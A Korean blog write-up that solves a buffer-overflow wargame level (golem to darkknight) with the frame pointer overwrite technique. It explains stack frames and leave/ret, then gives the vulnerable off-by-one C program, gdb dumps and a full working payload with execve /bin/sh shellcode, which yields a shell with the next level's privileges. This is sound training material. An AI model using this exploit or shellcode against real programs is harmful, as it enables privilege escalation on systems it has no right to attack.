hacking/ftz/lob

lob golem->darknight(level12) + FPO

Ryusky 2017. 9. 27. 00:15

반 넘게 달렸다

오늘은 FPO에 대해 간단하게 알아보자

FPO는 buffer+1만큼 쓸 수 있는 공간이 있고, main 외의 다른 함수가 있을 때 쓸 수 있는 기법이다

ebp는 스택 프레임의 한 기준점을 저장하고, esp는 ebp를 기준으로 증가해 다음 스택 포인터를 지정한다

그리고 eip는 다음 실행할 명령의 주소를 저장한다

main() 안에 함수 sub()가 있다고 쳐 보자

우선 main()이 호출되고 그 다음 main() 에서 sub()가 호출된다

여기서 내가 1바이트를 변경하면 sub()의 sfp부분의 값이 변경된다

이젠 이 sub()가 종료되면서 leave를 수행하게 될 것이다

leave는 esp 값을 ebp(sfp)가 있는 곳으로 이동시킨 후, sfp 값을 ebp에 저장하는 것이다.

따라서 leave가 수행되면 sfp에 들어있던 main()의 ebp 값이 현재의 ebp 값에 저장되고, esp 값은 sfp를 가르키고 있다가 pop ebp 명령을 만나 4가 증가한다. 이렇게 ret을 가르키게 되는 것이다

이때 esp는 sub()의 ebp, 즉 sfp를 가르키게 될 것이고, pop ebp, 즉, main()의

ebp를 돌려 받는 과정에서 변경된 sfp값을 가져오게 되므로 main()의 ebp는 다른 곳을 가르키게 된다

자세한 문서는 요기



그럼 이 문서를 이해했다는 가정 하에 문제를 풀어보자



#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }


        problem_child(argv[1]);


FPO 기법을 쓸 수 있는 코드이다



(gdb) b *problem_child+24

 (gdb) r `python -c 'print "A"*40+"\x00"'` `python -c 'print "\x90"*150'`

Starting program: /tmp/darkknight `python -c 'print "A"*40+"\x00"'` `python -c 'print "\x90"*150'`


Breakpoint 1, 0x8048458 in problem_child ()

(gdb) x/100x $esp

0xbffffa74:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffa84:     0x41414141      0x41414141      0x41414141      0x41414141

0xbffffa94:     0x41414141      0x41414141      0xbffffa00      0x0804849e

0xbffffaa4:     0xbffffbf8      0xbffffac8      0x400309cb      0x00000003

0xbffffab4:     0xbffffaf4      0xbffffb04      0x40013868      0x00000003

0xbffffac4:     0x08048390      0x00000000      0x080483b1      0x0804846c

0xbffffad4:     0x00000003      0xbffffaf4      0x080482e4      0x080484dc

0xbffffae4:     0x4000ae60      0xbffffaec      0x40013e90      0x00000003

...


argv[1]에는 A(dummy) 40개와 sfp에 넣을 주소를 가정해서 \x00을 넣어주고

argv[2]에는 nop을 많이많이 넣어준다


[golem@localhost /tmp]$ ./darkkn1ght `python -c 'print "A"*41'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒C▒▒▒▒▒▒▒   @

bffffac4


정확한 주소를 알아내기 위해 새롭게 파일 하나를 만들어서 buffer의 주소를 출력하게 해 놓았다


 [golem@localhost golem]$ ./darkknight `python -c 'print "\xcc\xfa\xff\xbf"*2+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69

\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xc4"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                    ̀▒▒▒▒▒C▒▒▒▒▒▒▒       @

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$ my-pass

euid = 512

new attacker

bash$


페이로드를 설명하자면

buffer 첫 주소를 두 번 넣고(8bytes) nop 7bytes 쉘코드 25bytes를 넣고(합쳐서 40bytes)

마지막 1byte를 버퍼의 첫 주소로 넣어준다

여기서 페이로드 처음에 주소를 두 번 넣은 이유는

leave-ret이 한 번 일어나면서 EBP가 변조된 EBP로 이동되는데, 한번 더 leave-ret을 하면 pop ebp를 실행한다. 이 때 ret에서 pop을 할 경우 BUF의 첫 4바이트를 참조해야 하기 때문이다.


피드백은 댓글로